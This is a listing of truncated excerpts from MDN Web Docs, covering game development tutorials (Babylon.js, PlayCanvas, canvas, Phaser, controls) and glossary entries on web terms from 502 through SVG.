Building up a basic demo with Babylon.js - Game development
ered on the screen. if you have already worked through our building up a basic demo series with three.js, playcanvas or a-frame (or you are familiar with other 3d libraries) you'll notice that babylon.js works on similar concepts: camera, light and objects. environment setup to start developing with babylon.js, you don't need much. you should start off by: making sure you are using a modern browser with good webgl support, such as the latest firefox or chrome. creating a directory to store your experiments in. saving a copy of the latest babylon.js engine inside your directory. opening the babylon.js documentation in a separate tab — it is useful to refer to. html structure here's the html structure we will use: <!doctype html> <html> <head> <meta charset="utf-8"> <title...
Building up a basic demo with PlayCanvas editor - Game development
ect; just persevere) onto the box on the scene. so, at this point we've created a blue box. click on the box to bring up its entity sidebar — you'll see options for changing its position, rotation, and scale. try applying the rotation values x: 10 and y: 20. now click on the play arrow in the top right corner of the scene to launch and render the scene — it will be opened in a separate browser tab. this looks great! let's add more shapes to the scene to make it look more interesting. adding more shapes to make way for more shapes, move the box to the left to make some room for the next shape. you can do this by giving it an x position value of -2. adding other shapes involves a very similar process to adding the box. click on the root folder in the hierarchy panel (to make su...
Building up a basic demo with PlayCanvas - Game development
your html, so you can start coding right away; in addition the playcanvas toolset comes with an online editor that you can use to drag and drop components onto the scene — a great way to create games and other apps requiring scenes if you're more of a designer than a coder. those approaches are different but work equally well regarding achieving end goals. playcanvas engine built for modern browsers, playcanvas is a fully-featured 3d game engine with resource loading, an entity and component system, advanced graphics manipulation, collision and physics engine (built with ammo.js), audio, and facilities to handle control inputs from various devices (including gamepads). that's quite an impressive list of features — let's see some in action, check out the building up a basic demo with pla...
WebVR — Virtual Reality for the Web - Game development
ng information on vr devices connected to a computer and headset position/orientation/velocity/acceleration information, and converting that into useful data you can use in your games and other applications. note: there are of course other apis useful for creating games, for example the gamepad api for control inputs, and the device orientation api for handling display orientation on mobile. browser support and spec status currently browser support for the webvr api is still experimental — it works in nightly builds of firefox and experimental builds of chrome (mozilla and google teamed up to work on the implementation together), but sooner rather than later we'll see it in regular builds. the webvr spec is in editor's draft status which means it is still subject to change. the develop...
3D games on the Web - Game development
for rich gaming experiences on the web, the weapon of choice is webgl, which is rendered on html <canvas>. webgl is basically an opengl es 2.0 for the web — it's a javascript api providing tools to build rich interactive animations and of course, also games. you can generate and render dynamic 3d graphics with javascript that is hardware accelerated. documentation and browser support the webgl project documentation and specification is maintained by the khronos group, not the w3c as with most of the web apis. support on modern browsers is very good, even on mobile, so you don't have to worry about that too much. the main browsers are all supporting webgl and all you need to focus on is optimizing the performance on the devices you use. there's an ongoing effort on releasing webgl 2.0 (ba...
Async scripts for asm.js - Game development
in gecko, async compilation allows the javascript engine to compile the asm.js off the main thread when the game is loading and cache the generated machine code so that the game doesn't need to be compiled on subsequent loads (starting in firefox 28). to see the difference, toggle javascript.options.parallel_parsing in about:config. ...
Desktop gamepad controls - Game development
previous overview: control mechanisms next now we'll look at adding something extra — support for gamepad controls, via the gamepad api. it brings a console-like experience to your web games. the gamepad api gives you the ability to connect a gamepad to your computer and detect pressed buttons directly from the javascript code thanks to the browsers implementing such feature. an api exposes all the information you need to hook up your game's logic and successfully control the user interface and gameplay. api status, browser and hardware support the gamepad api is still in working draft status, although browser support is already quite good — around 63% global coverage, according to caniuse.com. the list of supported devices is also quite extensive — most popular gamep...
Desktop mouse and keyboard controls - Game development
e at end3r.github.io/javascript-game-controls and the full source code can be found at github.com/end3r/javascript-game-controls. phaser approach as i mentioned before you can write everything on your own, but you can also take the advantage of built-in functions in frameworks like phaser — these will make your life easier and development a lot faster. all the edge cases, differences between browser implementations, etc. are handled by the framework, so you can focus on the actual task you want to do. mouse the mouse interactions in the game are focused on clicking the buttons. in phaser the buttons you create will take any type of input, whether it's a touch on mobile or a click on desktop. that way, if you already implemented the buttons as shown in the mobile touch controls article, i...
Mobile touch controls - Game development
ple is not multitouch-enabled), extract the pagex and pagey variables and set the player's ship position on the screen by subtracting the canvas offset (distance from the canvas and the edge of the screen) and half the player's width and height. to see if it's working correctly we can output the x and y positions using the output element. the preventdefault() function is needed to prevent the browser from moving — without it you'd have the default behaviour, and the canvas would be dragged around the page, which would show the browser scroll bars and look messy. touch events in phaser we don't have to do this on our own; frameworks like phaser offer systems for managing touch events for us — see managing the touch events. pointer theory a pointer represents a single finger on the to...
Unconventional controls - Game development
icle we will explore various unconventional ways to control your web game, some more unconventional than others. tv remote playing games on a tv screen doesn't always have to be done through consoles. there's already a gamepad api working on the desktop computers, so we can imitate the experience, but we can go even further. modern smart tvs can handle html5 games, because they have a built-in browser that can be used as a gaming platform. smart tvs are shipped with remote controls, which can be used to control your games if you know how. the earliest demo of captain rogers: battle at andromeda was adjusted to work on a huge tv. interestingly enough, the first captain rogers game (asteroid belt of sirius) was optimized for low-end, small-screen, cheap smartphones running firefox os, so you ...
Tiles and tilemaps overview - Game development
atformers such as super mario bros.) static tilemaps a tilemap can either fit into the visible screen area screen or be larger. in the first case, the tilemap is static — it doesn't need to be scrolled to be fully shown. this case is very common in arcade games like pacman, arkanoid, or sokoban. rendering static tilemaps is easy, and can be done with a nested loop iterating over columns and rows. a high-level algorithm could be: for (var column = 0; column < map.columns; column++) { for (var row = 0; row < map.rows; row++) { var tile = map.gettile(column, row); var x = column * map.tilesize; var y = row * map.tilesize; drawtile(tile, x, y); } } you can read more about this and see an example implementation in square tilemaps implementation: static maps. scrolling ...
WebRTC data channels - Game development
no such guarantees; messages aren't guaranteed to arrive in any particular order and, in fact, aren't guaranteed to arrive at all. this is analogous to a udp socket. we have documentation for using webrtc. this article, however, will take advantage of some libraries that can help trivialize the work, and will demonstrate ways to use abstraction to work around implementation differences between browsers. hopefully, of course, those differences will fade away in time. using the p2p library one library you can use is the p2p library. this library provides a simple api for creating peer connections and setting up streams and data channels. there's also a broker server component and a hosted broker you can use instead of having to set one up for yourself. note: we will continue to add content...
Create the Canvas and draw on it - Game development
var ctx = canvas.getcontext("2d"); here we're storing a reference to the <canvas> element to the canvas variable. then we're creating the ctx variable to store the 2d rendering context — the actual tool we can use to paint on the canvas. let's see an example piece of code that prints a red square on the canvas. add this below your previous lines of javascript, then load your index.html in a browser to try it out. ctx.beginpath(); ctx.rect(20, 40, 50, 50); ctx.fillstyle = "#ff0000"; ctx.fill(); ctx.closepath(); all the instructions are between the beginpath() and closepath() methods. we are defining a rectangle using rect(): the first two values specify the coordinates of the top left corner of the rectangle on the canvas, while the second two specify the width and height of the rectangl...
Move the ball - Game development
y with our dx and dy variable on every frame, so the ball will be painted in the new position on every update. add the following two new lines indicated below to your draw() function: function draw() { ctx.beginpath(); ctx.arc(x, y, 10, 0, math.pi*2); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); x += dx; y += dy; } save your code again and try it in your browser. this works ok, although it appears that the ball is leaving a trail behind it: clearing the canvas before each frame the ball is leaving a trail because we're painting a new circle on every frame without removing the previous one. don't worry, because there's a method to clear canvas content: clearrect(). this method takes four parameters: the x and y coordinates of the top left corner of ...
Paddle and keyboard controls - Game development
leftpressed = false; } } when we press a key down, this information is stored in a variable. the relevant variable in each case is set to true. when the key is released, the variable is set back to false. both functions take an event as a parameter, represented by the e variable. from that you can get useful information: the key holds the information about the key that was pressed. most browsers use arrowright and arrowleft for the left/right cursor keys, but we need to also include right and left checks to support ie/edge browsers. if the left cursor is pressed, then the leftpressed variable is set to true, and when it is released, the leftpressed variable is set to false. the same pattern follows with the right cursor and the rightpressed variable. the paddle moving logic we've no...
Initialize the framework - Game development
tically by the framework. we are initializing it by creating a new phaser.game object and assigning it to the game variable. the parameters are: the width and height to set the <canvas> to. the rendering method. the three options are auto, canvas and webgl. we can set one of the latter two explicitly or use auto to let phaser decide which one to use. it usually uses webgl if available in the browser, falling back to canvas 2d if not. the id of the <canvas> to use for rendering if one already exists on the page (we've specified null because we want phaser to create its own.) the names to use for phaser's three key functions that load and start the game, and update the game loop on every frame; we will use the same names to keep it clean. preload takes care of preloading the assets ...
Game development
develop web games welcome to the mdn game development center! in this area of the site, we provide resources for web developers wanting to develop games. you will find many useful tutorials and technique articles in the main menu on the left, so feel free to explore. ...
502 - MDN Web Docs Glossary: Definitions of Web-related terms
when you request to access a url, the gateway server can relay your request to the upstream server. "502" means that the upstream server has returned an invalid response. normally the upstream server is not down (i.e. furnishes no response to the gateway/proxy), but simply does not understand the same data-exchange protocol as the gateway/proxy. ...
Accessibility tree (AOM) - MDN Web Docs Glossary: Definitions of Web-related terms
the accessibility tree, or accessibility object model (aom), contains accessibility-related information for most html elements. browsers convert markup into an internal representation called the dom tree. the dom tree contains objects for all the markup’s elements, attributes, and text nodes. browsers then create an accessibility tree based on the dom tree, which is used by platform-specific accessibility apis for assistive technologies, such as screen readers. there are four things in an accessibility tree object: name how can we refer to this thing? for instance, a link with the text ‘read more’ will have ‘read more’ as its name (more on how names are computed in the accessible name and description computation spec). description how do we describe this element, if w...
API - MDN Web Docs Glossary: Definitions of Web-related terms
h software - as opposed to a human user interface. the api can be seen as a simple contract (the interface) between the application offering it and other items, such as third party software or hardware. in web development, an api is generally a set of code features (e.g. methods, properties, events, and urls) that a developer can use in their apps for interacting with components of a user's web browser, or other software/hardware on the user's computer, or third party websites and services. for example: the getusermedia api can be used to grab audio and video from a user's webcam, which can then be used in any way the developer likes, for example, recording video and audio, broadcasting it to another user in a conference call, or capturing image stills from the video. the geolocation api...
Apple Safari - MDN Web Docs Glossary: Definitions of Web-related terms
it's based on the open source webkit engine. ...
Blink - MDN Web Docs Glossary: Definitions of Web-related terms
blink is an open-source browser layout engine developed by google as part of chromium (and therefore part of chrome as well). specifically, blink began as a fork of the webcore library in webkit, which handles layout, rendering, and dom, but now stands on its own as a separate rendering engine. ...
Bootstrap - MDN Web Docs Glossary: Definitions of Web-related terms
free, open source html, css, and javascript framework for quickly building responsive websites. initially, bootstrap was called twitter blueprint and was developed by a team working at twitter. it supports responsive design and features predefined design templates that you can use out of the box, or customize for your needs with your code. you don't need to worry about compatibility with other browsers either, as bootstrap is compatible with all modern browsers and newer versions of internet explorer. ...
CORS - MDN Web Docs Glossary: Definitions of Web-related terms
the same-origin security policy forbids cross-origin access to resources. but cors gives web servers the ability to say they want to opt into allowing cross-origin access to their resources. learn more general knowledge cross-origin resource sharing (cors) on mdn cross-origin resource sharing on wikipedia cors headers access-control-allow-origin indicates whether the response can be shared. ...
CSS - MDN Web Docs Glossary: Definitions of Web-related terms
a style declaration contains the properties and their values, which determine how a webpage looks. css is one of the three core web technologies, along with html and javascript. css usually styles html elements, but can be also used with other markup languages like svg or xml. a css rule is a set of properties associated with a selector. ...
Call stack - MDN Web Docs Glossary: Definitions of Web-related terms
when a script calls a function, the interpreter adds it to the call stack and then starts carrying out the function. any functions that are called by that function are added to the call stack further up, and run where their calls are reached. when the current function is finished, the interpreter takes it off the stack and resumes execution where it left off in the last code listing. ...
Certificate authority - MDN Web Docs Glossary: Definitions of Web-related terms
a certificate authority (ca) is an organization that signs digital certificates and their associated public keys. this certifies that an organization that requested a digital certificate (e.g., mozilla corporation) is authorized to request a certificate for the subject named in the certificate (e.g., mozilla.org). web browsers come preloaded with a list of certificate authorities trusted to issue digital certificates. learn more certificate authority on wikipedia mozilla included ca certificate list ...
Client hints - MDN Web Docs Glossary: Definitions of Web-related terms
meta http-equiv="accept-ch" content="dpr, width, viewport-width, downlink"> when a client receives the accept-ch header, if supported, it appends client hint headers that match the advertised field-values. for example, based on accept-ch example above, the client could append dpr, width, viewport-width, and downlink headers to all subsequent requests. in the second example, the server gives the browser the hints by setting the accept-ch meta tag. basically, with the client hints header, the developer or application can tell the browser to advertise information about itself to the server, such as the device pixel ratio, the viewport width, and the display width. the client can then give the server information about the client's environment, and the server can determine which resources to send...
Compile - MDN Web Docs Glossary: Definitions of Web-related terms
or cross-compilers, for instance to compile from typescript to javascript. those are considered productivity tools. most compilers work either ahead-of-time (aot) or just-in-time (jit). as a programmer, you usually invoke aot compilers from a command line or your ide. the most famous, "gcc" is one example. jit compilers are usually transparent to you, used for performance. for instance in the browser: firefox' spidermonkey javascript engine has a jit built-in that will compile javascript in a website to machine code while you're viewing it so it runs faster. projects like webassembly work on making this even better. learn more general knowledge compiler on wikipedia the gnu compiler collection (gcc) learning resources base cs introduction on compilers a big list of learning mate...
Cookie - MDN Web Docs Glossary: Definitions of Web-related terms
a cookie is a small piece of information left on a visitor's computer by a website, via a web browser. cookies are used to personalize a user’s web experience with a website. it may contain the user’s preferences or inputs when accessing that website. a user can customize their web browser to accept, reject, or delete cookies. cookies can be set and modified at the server level using the set-cookie http header, or with javascript using document.cookie. learn more general knowledge http cookie on wikipedia ...
Crawler - MDN Web Docs Glossary: Definitions of Web-related terms
typically search engines (e.g. ...
Cross-site scripting - MDN Web Docs Glossary: Definitions of Web-related terms
which allows an attacker to inject into a website malicious client-side code. this code is executed by the victims and lets the attackers bypass access controls and impersonate users. according to the open web application security project, xss was the seventh most common web app vulnerability in 2017. these attacks succeed if the web app does not employ enough validation or encoding. the user's browser cannot detect the malicious script is untrustworthy, and so gives it access to any cookies, session tokens, or other sensitive site-specific information, or lets the malicious script rewrite the html content. learn more general knowledge cross-site scripting (xss) cross-site scripting on wikipedia cross-site scripting on owasp another article about cross-site scripting xss attack – e...
Cross Axis - MDN Web Docs Glossary: Definitions of Web-related terms
the cross axis in flexbox runs perpendicular to the main axis, therefore if your flex-direction is either row or row-reverse then the cross axis runs down the columns. if your main axis is column or column-reverse then the cross axis runs along the rows. alignment of items on the cross axis is achieved with the align-items property on the flex container or align-self property on individual items. in the case of a multi-line flex container, with additional space on the cross axis, you can use align-content to control the spacing of the rows. learn more property reference align-content align-items align-self flex-wrap flex-direction flex further reading css flexbox guide: basic concepts of flexbox css flexbox guide: aligning items in a flex container css flexbox ...
DOM (Document Object Model) - MDN Web Docs Glossary: Definitions of Web-related terms
the dom (document object model) is an api that represents and interacts with any html or xml document. the dom is a document model loaded in the browser and representing the document as a node tree, where each node represents part of the document (e.g. an element, text string, or comment). the dom is one of the most-used apis on the web because it allows code running in a browser to access and interact with every node in the document. nodes can be created, moved and changed. event listeners can be added to nodes and triggered on occurrence of a given event. dom was not originally specified—it came about when browsers began implementing javascript. this legacy dom is sometimes called dom 0. today, the whatwg maintains the dom living standard. ...
Developer Tools - MDN Web Docs Glossary: Definitions of Web-related terms
they let users inspect and debug the page's html, css, and javascript, allow to inspect the network traffic it causes, make it possible to measure it's performance, and much more. ...
Doctype - MDN Web Docs Glossary: Definitions of Web-related terms
in html, the doctype is the required "<!doctype html>" preamble found at the top of all documents. its sole purpose is to prevent a browser from switching into so-called “quirks mode” when rendering a document; that is, the "<!doctype html>" doctype ensures that the browser makes a best-effort attempt at following the relevant specifications, rather than using a different rendering mode that is incompatible with some specifications. learn more general knowledge definition of the doctype in the html specification quirks mode and standards mode technical reference document.doctype, a javascript method that returns the doctype ...
Element - MDN Web Docs Glossary: Definitions of Web-related terms
webpage. in xml and html, an element may contain a data item or a chunk of text or an image, or perhaps nothing. a typical element includes an opening tag with some attributes, enclosed text content, and a closing tag. elements and tags are not the same things. tags begin or end an element in source code, whereas elements are part of the dom, the document model for displaying the page in the browser. ...
Entity - MDN Web Docs Glossary: Definitions of Web-related terms
them in place of other characters that are difficult to type with a standard keyboard. many characters have memorable entities. for example, the entity for the copyright symbol (©) is &copy;. for less memorable characters, such as &#8212; or &#x2014;, you can use a reference chart or decoder tool. reserved characters some special characters are reserved for use in html, meaning that your browser will parse them as html code. for example, if you use the less-than (<) sign, the browser interprets any text that follows as a tag. to display these characters as text, replace them with their corresponding character entities, as shown in the following table. character entity note & &amp; interpreted as the beginning of an entity or character reference. ...
frame rate (FPS) - MDN Web Docs Glossary: Definitions of Web-related terms
the frames per second, or fps, is how many frames can be repainted in one second. the goal frame rate for in web site computer graphics is 60fps. movies generally have a frame rate of 24 fps. they are able to have fewer frames per second because the illusion of life is created with motion blurs. ...
Favicon - MDN Web Docs Glossary: Definitions of Web-related terms
a favicon (favorite icon) is a tiny icon included along with a website, which is displayed in places like the browser's address bar, page tabs and bookmarks menu. note, however, that most modern browsers replaced the favicon from the address bar by an image indicating whether or not the website is using https. usually, a favicon is 16 x 16 pixels in size and stored in the gif, png, or ico file format. they are used to improve user experience and enforce brand consistency. when a familiar icon is seen in the browser's address bar, for example, it helps users know they are in the right place. ...
First paint - MDN Web Docs Glossary: Definitions of Web-related terms
it answers the question "is it happening?" ...
Function - MDN Web Docs Glossary: Definitions of Web-related terms
re(a) + square(b); }; a recursive function is a function that calls itself. see recursion. function loop(x) { if (x >= 10) return; loop(x + 1); }; //using ecmascript 2015 arrow notation const loop = x => { if (x >= 10) return; loop(x + 1); }; an immediately invoked function expressions (iife) is a function that is called directly after the function is loaded into the browser’s compiler. the way to identify an iife is by locating the extra left and right parenthesis at the end of the function’s definition. // declared functions can't be called immediately this way // error (https://en.wikipedia.org/wiki/immediately-invoked_function_expression) /* ​function foo() { console.log('hello foo'); }(); */ // function expressions, named or anonymous, can be calle...
Gzip compression - MDN Web Docs Glossary: Definitions of Web-related terms
gzip is a file format used for file compression and decompression. it is based on the deflate algorithm that allows files to be made smaller in size which allows for faster network transfers. gzip is commonly supported by web servers and modern browsers, meaning that servers can automatically compress files with gzip before sending them, and browsers can uncompress files upon receiving them. learn more how to enable compression and gzip for page speed. gzip on wikipedia ...
Gecko - MDN Web Docs Glossary: Definitions of Web-related terms
besides this, gecko makes sure associated apis work well on every operating system gecko supports, and that appropriate apis are exposed only to relevant support targets. this means that gecko includes, among other things, a networking stack, graphics stack, layout engine, a javascript virtual machine, and porting layers. ...
Google Chrome - MDN Web Docs Glossary: Definitions of Web-related terms
it's based on the chromium open source project. some key differences are described on the chromium wiki. chrome supports its own layout called blink. note that the ios version of chrome uses that platform's webview, not blink. learn more general knowledge google chrome on wikipedia for chrome users use one of these links if you're an everyday user. android ios desktop for web developers if you want to try the latest chrome features, install one of the pre-stable builds. google pushes updates frequently and has designed the distributions to run side-by-side with the stable version. visit the chrome releases blog to learn what's new. ...
Graceful degradation - MDN Web Docs Glossary: Definitions of Web-related terms
polyfills can be used to build in missing features with javascript, but acceptable alternatives to features like styling and layout should be provided where possible, for example by using the css cascade, or html fallback behaviour. some good examples can be found in handling common html and css problems. ...
Grid Axis - MDN Web Docs Glossary: Definitions of Web-related terms
css grid layout is a two-dimensional layout method enabling the laying out of content in rows and columns. therefore in any grid we have two axes. the block or column axis, and the inline or row axis. it is along these axes that items can be aligned and justified using the properties defined in the box alignment specification. in css the block or column axis is the axis used when laying out blocks of text. if you have two paragraphs and are working in a right to left, top to bottom language they lay out one below the other, on the block axis. the inline or row axis runs across the block axis and is the direction along which regular text flows. these are our rows in css grid layout. the physical direction of these axes can change according to the writing mode of the document. l...
Gutters - MDN Web Docs Glossary: Definitions of Web-related terms
racks and 20px-gaps between row tracks. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #fff8f8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1.2fr); grid-auto-rows: 45%; grid-column-gap: 20px; grid-row-gap: 20px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> in terms of grid sizing, gaps act as if they were a regular grid track however nothing can be placed into the gap. the gap acts as if the grid line at that location has gained extra size, so any grid item placed af...
HSTS - MDN Web Docs Glossary: Definitions of Web-related terms
http strict transport security lets a web site inform the browser that it should never load the site using http and should automatically convert all attempts to access the site using http to https requests instead. it consists in one http header, strict-transport-security, sent by the server with the resource. in other words, it tells the browser that changing the protocol from http to https in a url works (and is more secure) and asks the browser to do it for every request. learn more strict-transport-security owasp article: http strict transport security wikipedia: http strict transport security ...
HTML - MDN Web Docs Glossary: Definitions of Web-related terms
ndard in 2014. concept and syntax an html document is a plaintext document structured with elements. elements are surrounded by matching opening and closing tags. each tag begins and ends with angle brackets (<>). there are a few empty or void tags that cannot enclose any text, for instance <img>. you can extend html tags with attributes, which provide additional information affecting how the browser interprets the element: an html file is normally saved with an .htm or .html extension, served by a web server, and can be rendered by any web browser. learn more general knowledge html on wikipedia learning html our html tutorial the web course on codecademy.com technical reference the html documentation on mdn the html specification ...
HTTP - MDN Web Docs Glossary: Definitions of Web-related terms
the current version of the http specification is called http/2. as part of a uri, the "http" within "http://example.com/" is called a "scheme". resources using the "http" schema are typically transported over unencrypted connections using the http protocol. the "https" scheme (as in "https://developer.mozilla.org") indicates that a resource is transported using the http protocol, but over a secure tls channel. ...
Hoisting - MDN Web Docs Glossary: Definitions of Web-related terms
and initialized after using it, the value will be undefined. for example: console.log(num); // returns undefined, as only declaration was hoisted, no initialization has happened at this stage var num; // declaration num = 6; // initialization the example below only has initialization. no hoisting happens so trying to read the variable results in referenceerror exception. console.log(num); // throws referenceerror exception num = 6; // initialization below are more examples demonstrating hoisting. // example 1 // only y is hoisted x = 1; // initialize x, and if not already declared, declare it - but no hoisting as there is no var in the statement. console.log(x + " " + y); // '1 undefined' // this prints value of y as undefined as javascript only hoists declarations var y = 2; // declare ...
IIFE - MDN Web Docs Glossary: Definitions of Web-related terms
tes the immediately invoked function expression () through which the javascript engine will directly interpret the function. examples the function becomes a function expression which is immediately executed. the variable within the expression can not be accessed from outside it. (function () { var aname = "barry"; })(); // variable aname is not accessible from the outside scope aname // throws "uncaught referenceerror: aname is not defined" assigning the iife to a variable stores the function's return value, not the function definition itself. var result = (function () { var name = "barry"; return name; })(); // immediately creates the output: result; // "barry" ...
Idempotent - MDN Web Docs Glossary: Definitions of Web-related terms
dempotence of a method is not guaranteed by the server and some applications may incorrectly break the idempotence constraint. get /pagex http/1.1 is idempotent. ...
IndexedDB - MDN Web Docs Glossary: Definitions of Web-related terms
like an sql-based rdbms, indexeddb is a transactional database system. however, it uses javascript objects rather than fixed columns tables to store data. ...
Internationalization - MDN Web Docs Glossary: Definitions of Web-related terms
ng of a web site or web application to different languages, regional differences, and technical requirements for different regions and countries. internationalization is the process of architecting your web application so that it can be quickly and easily adapted to various languages and regions without much engineering effort when new languages and regions are supported. also so that a user can browse features to translate or localize the application to access all the content without breaking the layout. internationalization includes support for multiple character sets (usually via unicode), units of measure (currency, °c/°f, km/miles, etc.), date and time formats, keyboard layouts, and layout and text directions. ...
JSON - MDN Web Docs Glossary: Definitions of Web-related terms
json can represent numbers, booleans, strings, null, arrays (ordered sequences of values), and objects (string-value mappings) made up of these values (or of other arrays and objects). ...
Layout viewport - MDN Web Docs Glossary: Definitions of Web-related terms
essentially, it represents what is available to be seen, while the visual viewport represents what is currently visible on the user's display device. this becomes important, for example, on mobile devices, where a pinching gesture can usually be used to zoom in and out on a site's contents. the rendered document doesn't change in any way, so the layout viewport remains the same as the user adjusts the zoom level. instead, the visual viewport is updated to indicate the area of the page that they can see. ...
Long task - MDN Web Docs Glossary: Definitions of Web-related terms
a long task is a task that takes more than 50ms to complete. it is an uninterrupted period where the main ui thread is busy for 50 ms or longer. common examples include long running event handlers, expensive reflows and other re-renders, and work the browser does between different turns of the event loop that exceeds 50 ms. see also long task api ...
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
ritten in html/javascript, and your user interface is probably written using html/css/whatever else you like. this sounds very much like mvc, but mvc makes these components follow a more rigid pattern. in the early days of the web, mvc architecture was mostly implemented on the server-side, with the client requesting updates via forms or links, and receiving updated views back to display in the browser. however, these days, more of the logic is pushed to the client with the advent of client-side data stores, and xmlhttprequest allowing partial page updates as required. web frameworks such as angularjs and ember.js all implement an mvc architecture, albeit in slightly different ways. learn more general knowledge model–view–controller on wikipedia ...
Main thread - MDN Web Docs Glossary: Definitions of Web-related terms
this means that long-running javascript functions can block the thread, leading to an unresponsive page and a bad user experience. unless intentionally using a web worker, such as a service worker, javascript runs on the main thread, so it's easy for a script to cause delays in event processing or painting. ...
MathML - MDN Web Docs Glossary: Definitions of Web-related terms
mathml (an xml application) is an open standard for representing mathematical expressions in webpages. in 1998 the w3c first recommended mathml for representing mathematical expressions in the browser. mathml has other applications also including scientific content and voice synthesis. ...
Microsoft Edge - MDN Web Docs Glossary: Definitions of Web-related terms
microsoft edge is a free-of-cost graphical web browser bundled with microsoft windows and developed by microsoft since 2014. initially known as spartan, edge replaced the longstanding microsoft browser internet explorer. ...
MitM - MDN Web Docs Glossary: Definitions of Web-related terms
ing server or an imposter server. sensitive sites without https encryption on public wi-fi networks aren't trustworthy. check for https in your address bar and ensure encryption is in-place before logging in. learn more owasp article: man-in-the-middle attack wikipedia: man-in-the-middle attack the public-key-pins header (hpkp) can significantly decrease the risk of mitm by instructing browsers to require a whitelisted certificate for all subsequent connections to that website. ...
Mozilla Firefox - MDN Web Docs Glossary: Definitions of Web-related terms
firefox runs on windows, os x, linux, and android. first released in november 2004, firefox is completely customizable with themes, plug-ins, and add-ons. firefox uses gecko to render webpages, and implements both current and upcoming web standards. ...
Native - MDN Web Docs Glossary: Definitions of Web-related terms
a native application has been compiled to run on the hardware/software environment that comprises the targeted architecture. an example of a native android app would be a mobile application written in java using the android toolchain. on the other hand, a web app that runs inside a browser is not native — it is run in the web browser, which sits on top of the native environment, not the native environment itself. learn more general knowledge native (computing) on wikipedia ...
Netscape Navigator - MDN Web Docs Glossary: Definitions of Web-related terms
netscape could display a webpage while loading, used javascript for forms and interactive content, and stored session information in cookies. despite netscape's technical advantages and initial dominance, by the late 1990s internet explorer swiftly overtook netscape in market share. ...
Network throttling - MDN Web Docs Glossary: Definitions of Web-related terms
l computer are generally very fast. as a developer, tech writer, or designer, this is likely your experience. the network speeds of a mobile user accessing that web application, possibly while traveling or in a remote area with poor data plan covereage, will likely be very slow, if they are able to get online at all. network throttling enables a developer to emulate an experience of a user. most browser developer tools, such as the browser inspector, provide a function to emulate different network conditions. by emulating your user's experience via network throttling, you can more readily identify and fix load time issues. browser developer tools generally have network throttling options, to allow you to test your app under slow network conditions. firefox's developer tools for example have a...
PAC - MDN Web Docs Glossary: Definitions of Web-related terms
function findproxyforurl(url, host) { /* ... */ } ret = findproxyforurl(url, host) see proxy auto-configuration (pac) file for details about how these are used and how to create new ones. ...
Page prediction - MDN Web Docs Glossary: Definitions of Web-related terms
page prediction is a browser feature or script which, when enabled, tells the browser to download resources the user is likely to visit before the user requests the content. page prediction improves performance by enabling almost instant loading of predicted content. however, page prediction may also download content a user does not seek. some web applications include a prediction feature completing search text and address bar urls based on browsing history and related searches. for example, as the user types in the address bar, the browser might send the current text in the address bar to the search engine before the user submits the request. although browser page prediction and prediction services enable faster page loads, they consume additional bandwidth. also, pre-loaded website...
Prefetch - MDN Web Docs Glossary: Definitions of Web-related terms
inks the user is likely to click, then downloading the content of those links. if the user decides to click on one of the links, then the page will be rendered instantly as the content has already been downloaded. the prefetch hints are sent in http headers: link: ; rel=dns-prefetch, ; as=script; rel=preload, ; rel=prerender, ; as=style; rel=preload prefetch attribute value browsers will prefetch content when the prefetch <link> tag directs it to, giving the developer control over what resources should be prefetched. <link rel="prefetch" href="https://www.example.com/solutions" /> ...
Preflight request - MDN Web Docs Glossary: Definitions of Web-related terms
a cors preflight request is a cors request that checks to see if the cors protocol is understood and a server is aware using specific methods and headers. it is an options request, using three http request headers: access-control-request-method, access-control-request-headers, and the origin header. a preflight request is automatically issued by a browser and in normal cases, front-end developers don't need to craft such requests themselves. it appears when request is qualified as "to be preflighted" and omitted for simple requests. for example, a client might be asking a server if it would allow a delete request, before sending a delete request, by using a preflight request: options /resource/foo access-control-request-method: delete access-control-request-headers: origin, x-reque...
Presto - MDN Web Docs Glossary: Definitions of Web-related terms
presto was the proprietary browser layout engine used to power the opera browser until version 15. since then, the opera browser is based on chromium, which uses the blink layout engine. learn more presto layout engine on wikipedia ...
QUIC - MDN Web Docs Glossary: Definitions of Web-related terms
o conduct experiments and try new things faster. quic was designed to support the semantics of http/2. it provides multiplexing, flow control, security and congestion control. key features of quic include: reduction in connection establishment time. improved congestion control. multiplexing without head-of-line blocking. forward error correction. connection migration. there is limited browser and server support for quic today. resources chromium projects documentation ietf draft see also http/2 ...
Quality values - MDN Web Docs Glossary: Definitions of Web-related terms
ty over less specific ones: text/html;q=0.8,text/*;q=0.8,*/*;q=0.8 value priority text/html 0.8 (but totally specified) text/* 0.8 (partially specified) */* 0.8 (not specified) some syntax, like the one of accept, allow additional specifiers like text/html;level=1. these increase the specificity of the value. their use is extremely rare. browser-specific information firefox starting with firefox 18, the quality factor values are clamped to 2 decimal places. they used to be clamped to only 1 decimal place in earlier versions (bug 672448). more information http headers using q-values in their syntax: accept, accept-charset, accept-language, accept-encoding, te. ...
RAIL - MDN Web Docs Glossary: Definitions of Web-related terms
the performance mantra of rail is "focus on the user; the end goal isn't to make your site perform fast on any specific device, it's to make users happy." there are 4 stages of interaction: page load, idle, response to input, and scrolling and animation. in acronym order, the main tenets are: response respond to users immediately, acknowledging any user input in 100ms or less. ...
Real User Monitoring (RUM) - MDN Web Docs Glossary: Definitions of Web-related terms
real user monitoring or rum measures the performance of a page from real users' machines. generally, a third party script injects a script on each page to measure and report page load data for every request made. this technique monitors an application’s actual user interactions. in rum, the third party script collects performance metrics from the real users' browsers. rum helps identify how an application is being used, including the geographic distribution of users and the impact of that distribution on the end user experience. see also real user monitoring (rum) versus synthetic monitoring synthetic monitoring beacon ...
SOAP - MDN Web Docs Glossary: Definitions of Web-related terms
soap (simple object access protocol) is a protocol for transmitting data in xml format. firefox removed support for soap in 2008. learn more general knowledge soap on wikipedia soap in gecko-based browsers technical reference specification ...
SRI - MDN Web Docs Glossary: Definitions of Web-related terms
it works by allowing you to provide a cryptographic hash that a fetched file must match. ...
SVG - MDN Web Docs Glossary: Definitions of Web-related terms
based on an xml syntax, svg can be styled with css and made interactive using javascript. html5 now allows direct embedding of svg tags in an html document. ...
